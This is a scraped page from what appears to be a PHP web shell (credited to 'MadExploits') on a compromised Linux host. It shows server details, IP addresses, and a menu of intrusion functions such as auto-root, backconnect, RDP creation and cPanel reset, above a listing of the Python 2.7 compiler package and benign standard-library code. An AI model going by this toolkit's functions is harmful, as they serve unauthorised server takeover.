Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.223.237.246
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib64 /
python2.7 /
compiler /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
1023
B
-rw-r--r--
__init__.pyc
1.27
KB
-rw-r--r--
__init__.pyo
1.27
KB
-rw-r--r--
ast.py
36.63
KB
-rw-r--r--
ast.pyc
70.43
KB
-rw-r--r--
ast.pyo
70.43
KB
-rw-r--r--
consts.py
468
B
-rw-r--r--
consts.pyc
737
B
-rw-r--r--
consts.pyo
737
B
-rw-r--r--
future.py
1.85
KB
-rw-r--r--
future.pyc
2.89
KB
-rw-r--r--
future.pyo
2.89
KB
-rw-r--r--
misc.py
1.75
KB
-rw-r--r--
misc.pyc
3.65
KB
-rw-r--r--
misc.pyo
3.65
KB
-rw-r--r--
pyassem.py
23.69
KB
-rw-r--r--
pyassem.pyc
25.33
KB
-rw-r--r--
pyassem.pyo
24.78
KB
-rw-r--r--
pycodegen.py
46.69
KB
-rw-r--r--
pycodegen.pyc
55.19
KB
-rw-r--r--
pycodegen.pyo
54.76
KB
-rw-r--r--
symbols.py
14.15
KB
-rw-r--r--
symbols.pyc
17.26
KB
-rw-r--r--
symbols.pyo
17.23
KB
-rw-r--r--
syntax.py
1.41
KB
-rw-r--r--
syntax.pyc
1.84
KB
-rw-r--r--
syntax.pyo
1.84
KB
-rw-r--r--
transformer.py
51.86
KB
-rw-r--r--
transformer.pyc
46.51
KB
-rw-r--r--
transformer.pyo
44.74
KB
-rw-r--r--
visitor.py
3.8
KB
-rw-r--r--
visitor.pyc
4.09
KB
-rw-r--r--
visitor.pyo
4.09
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : syntax.py
"""Check for errs in the AST. The Python parser does not catch all syntax errors. Others, like assignments with invalid targets, are caught in the code generation phase. The compiler package catches some errors in the transformer module. But it seems clearer to write checkers that use the AST to detect errors. """ from compiler import ast, walk def check(tree, multi=None): v = SyntaxErrorChecker(multi) walk(tree, v) return v.errors class SyntaxErrorChecker: """A visitor to find syntax errors in the AST.""" def __init__(self, multi=None): """Create new visitor object. If optional argument multi is not None, then print messages for each error rather than raising a SyntaxError for the first. """ self.multi = multi self.errors = 0 def error(self, node, msg): self.errors = self.errors + 1 if self.multi is not None: print "%s:%s: %s" % (node.filename, node.lineno, msg) else: raise SyntaxError, "%s (%s:%s)" % (msg, node.filename, node.lineno) def visitAssign(self, node): # the transformer module handles many of these pass ## for target in node.nodes: ## if isinstance(target, ast.AssList): ## if target.lineno is None: ## target.lineno = node.lineno ## self.error(target, "can't assign to list comprehension")
Close